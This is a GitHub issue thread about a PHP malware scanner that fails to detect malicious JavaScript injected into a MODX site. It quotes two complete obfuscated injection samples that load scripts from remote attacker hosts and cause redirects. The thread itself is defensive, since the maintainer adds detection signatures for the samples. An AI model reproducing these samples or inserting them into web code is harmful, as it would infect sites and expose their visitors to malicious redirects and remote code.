scr34m/php-malware-scanner

Pattern Not Found in JS Files

Opened this issue · 9 comments

We ran the following script command to try to find bad files in a site that was having issues. There were a half dozen js files referenced by PHP that were not found by the script.

php php-malware-scanner/scan.php -kEwLp -d www/

And the findings found false-positives in JPGs, PDFs, other JS files and PHP files, but didn't find actual postives in js files in the following format that we found on manual inspection of plugins (MODX) triggered by PHP. These are following strings are in the top portion of the files at line 1. These files were within the www/ recursive path and should have been found:

var f=String;eval(f.fromCharCode(102,117,110)+f.fromCharCode(99,116,105,111,110)+f.fromCharCode(32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110)+f.fromCharCode(32,66,111,111,108,101,97,110)+f.fromCharCode(40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,121,46,108,105,110)+f.fromCharCode(101,115,116,111,103,101,116,46,99,111,109,47,115,99,114,105,112,116,115,47,99,104,101,99,107,46,106,115,63,118,61,51,46,48,46,51,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110)+f.fromCharCode(116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110)+f.fromCharCode(116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,46,112,97,114,101,110)+f.fromCharCode(116,78,111,100,101,46,105,110)+f.fromCharCode(115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110)+f.fromCharCode(116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110)+f.fromCharCode(100,67,104,105,108,100,40,115,41,59,125,125));/*99586587347*/function a(){var r=['2375124ttheZk','createElement','currentScript','40nPQDbA','querySelector','2315509WBDhUw','209FQvDYl','5gYJVLC','parentNode','480726JVajzX','2iVgZIm','271058DiZOwS','and','c="','757074ZDZRaJ','fromCharCode','ack','head','src','17575602BTZXWl','223990kvHwPd','360748zEhexU','getElementsByTagName'];a=function(){return r;};return a();}function b(c,d){var e=a();return b=function(f,g){f=f-0x10c;var h=e[f];return h;},b(c,d);}var q=b;(function(c,e){var o=b,f=c();while(!![]){try{var g=-parseInt(o('0x10e'))/0x1*(-parseInt(o('0x10f'))/0x2)+parseInt(o('0x112'))/0x3+-parseInt(o('0x119'))/0x4*(parseInt(o('0x122'))/0x5)+-parseInt(o('0x11b'))/0x6+parseInt(o('0x120'))/0x7+-parseInt(o('0x11e'))/0x8*(-parseInt(o('0x10d'))/0x9)+-parseInt(o('0x118'))/0xa*(parseInt(o('0x121'))/0xb);if(g===e)break;else f['push'](f['shift']());}catch(h){f['push'](f['shift']());}}}(a,0x332f3));function utrertdfg(c){var p=b;return Boolean(document[p('0x11f')]('sc'+'ri'+'pt['+'sr'+p('0x111')+c+'"]'));}var bd='ht'+String[q('0x113')](0x74,0x70,0x73,0x3a,0x2f,0x2f,0x63,0x64,0x6e,0x2e,0x63,0x6c,0x69,0x63,0x6b)+q('0x110')+String[q('0x113')](0x61,0x6e,0x61,0x6c,0x79,0x74,0x69,0x63,0x73,0x2e,0x63,0x6f,0x6d,0x2f,0x74,0x72)+q('0x114'),bd5=q('0x117');if(utrertdfg(bd)===![]){var d=document,s=d[q('0x11c')]('sc'+'r'+'ip'+'t');s[q('0x116')]=bd,d[q('0x11d')]?d['currentScript'][q('0x10c')]!==null&&d[q('0x11d')]['parentNode']['insertBefore'](s,d[q('0x11d')]):d[q('0x11a')](q('0x115'))[0x0]!==null&&d[q('0x11a')](q('0x115'))[0x0]['appendChild'](s);}

and

var f=String;eval(f.fromCharCode(102,117,110)+f.fromCharCode(99,116,105,111,110)+f.fromCharCode(32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110)+f.fromCharCode(32,66,111,111,108,101,97,110)+f.fromCharCode(40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,115,116,97,121,46,108,105,110)+f.fromCharCode(101,115,116,111,103,101,116,46,99,111,109,47,115,99,114,105,112,116,115,47,99,104,101,99,107,46,106,115,63,118,61,51,46,48,46,51,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110)+f.fromCharCode(116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110)+f.fromCharCode(116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,46,112,97,114,101,110)+f.fromCharCode(116,78,111,100,101,46,105,110)+f.fromCharCode(115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110)+f.fromCharCode(116,46,99,117,114,114,101,110)+f.fromCharCode(116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110)+f.fromCharCode(116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110)+f.fromCharCode(100,67,104,105,108,100,40,115,41,59,125,125));/*99586587347*/var q=b;(function(c,e){var o=b,f=c();while(!![]){try{var g=-parseInt(o('0xba'))/0x1*(parseInt(o('0xb7'))/0x2)+-parseInt(o('0xb4'))/0x3*(parseInt(o('0xc8'))/0x4)+-parseInt(o('0xbb'))/0x5*(-parseInt(o('0xc3'))/0x6)+-parseInt(o('0xb8'))/0x7*(parseInt(o('0xbf'))/0x8)+parseInt(o('0xc5'))/0x9+-parseInt(o('0xbe'))/0xa+parseInt(o('0xcb'))/0xb;if(g===e)break;else f['push'](f['shift']());}catch(h){f['push'](f['shift']());}}}(a,0x714d4));function utrertdfg(c){var p=b;return Boolean(document[p('0xc1')]('sc'+'ri'+p('0xc4')+'sr'+p('0xca')+c+'"]'));}var bd='ht'+String[q('0xbd')](0x74,0x70,0x73,0x3a,0x2f,0x2f,0x63,0x64,0x6e,0x2e,0x63,0x6c,0x69,0x63,0x6b)+q('0xb9')+String[q('0xbd')](0x61,0x6e,0x61,0x6c,0x79,0x74,0x69,0x63,0x73,0x2e,0x63,0x6f,0x6d,0x2f,0x74,0x72)+q('0xb6'),bd3=q('0xb5');function b(c,d){var e=a();return b=function(f,g){f=f-0xb3;var h=e[f];return h;},b(c,d);}function a(){var r=['pt[','5097564MUtWzk','createElement','parentNode','4wgTeHa','currentScript','c="','6701838gXdYXA','src','1007859rvcVFL','17575602BTZXWl','ack','8bsVMac','14AtrLVh','and','38504mEoAvo','235TEzrgq','getElementsByTagName','fromCharCode','2456860AxmcND','2343336YnIOmK','appendChild','querySelector','head','77862qESfgD'];a=function(){return r;};return a();}if(utrertdfg(bd)===![]){var d=document,s=d[q('0xc6')]('sc'+'r'+'ip'+'t');s[q('0xb3')]=bd,d[q('0xc9')]?d[q('0xc9')][q('0xc7')]!==null&&d[q('0xc9')][q('0xc7')]['insertBefore'](s,d[q('0xc9')]):d[q('0xbc')]('head')[0x0]!==null&&d[q('0xbc')](q('0xc2'))[0x0][q('0xc0')](s);}

Let us know if you have any further questions or want any further examples. They're all the same format but with slightly different output. I'm sure they're using an encoder to generate the obfuscated JS.

Could you create a sample in ZIP and share it so i can run local test against those files in structure?

@scr34m Are you looking for files in structure or just the files. I've attached the files here. The structure is part of quite a large application and the paths are as follows:

/www/assets/components/cliche/mgr/thumbnail/tv/cards/main.js
/www/assets/components/cliche/mgr/core/main.panel.js
/www/js/jquery-1.js
/www/js/jquery.js

badfiles.zip

Sorry for the delay, but we don't have any rule for javascript code matching, if you know these files are problematic then it is possible to extend the rule set.

Hey @scr34m it's a fair point. I'm not sure what the best approach is given that a hacked site is a hacked site and that it's not uncommon for attacks to use a variety of PHP and JS for malicious control. It feels redundant to have to somehow run a PHP malware scanner and a JS one when this seems to catch things such as eval() and obfuscated code. The first line of each of those files above contains obfuscated malicious js that was causing redirects within a MODX Revolution website Manager. MODX is written mostly in PHP but the manager makes significant use of ExtJS3 and has a parser event system that can trigger files in points in time of the system. These files were contributing to external requests and redirects out to malicious websites.

If you can send me with malware infected JS the no problem to make some rules and slowly evolve the set.
I've created 2 pattern for the files, you can check on master, not version tagged yet.

Hey @scr34m in the badfiles.zip, each of those 4 files contains the malicious code on line 1.

@scr34m I'm also not sure what you mean by: "I've created 2 pattern for the files, you can check on master, not version tagged yet."

Could you elaborate? Maybe I'm misunderstanding your requests here.

You have to use the master branch to test, no version tag created so packages won't offer you an update.
If the tests are correct and you don't have any more samples I will make a version release.

@scr34m I tested on my end and all is good here - the sigs were picked up.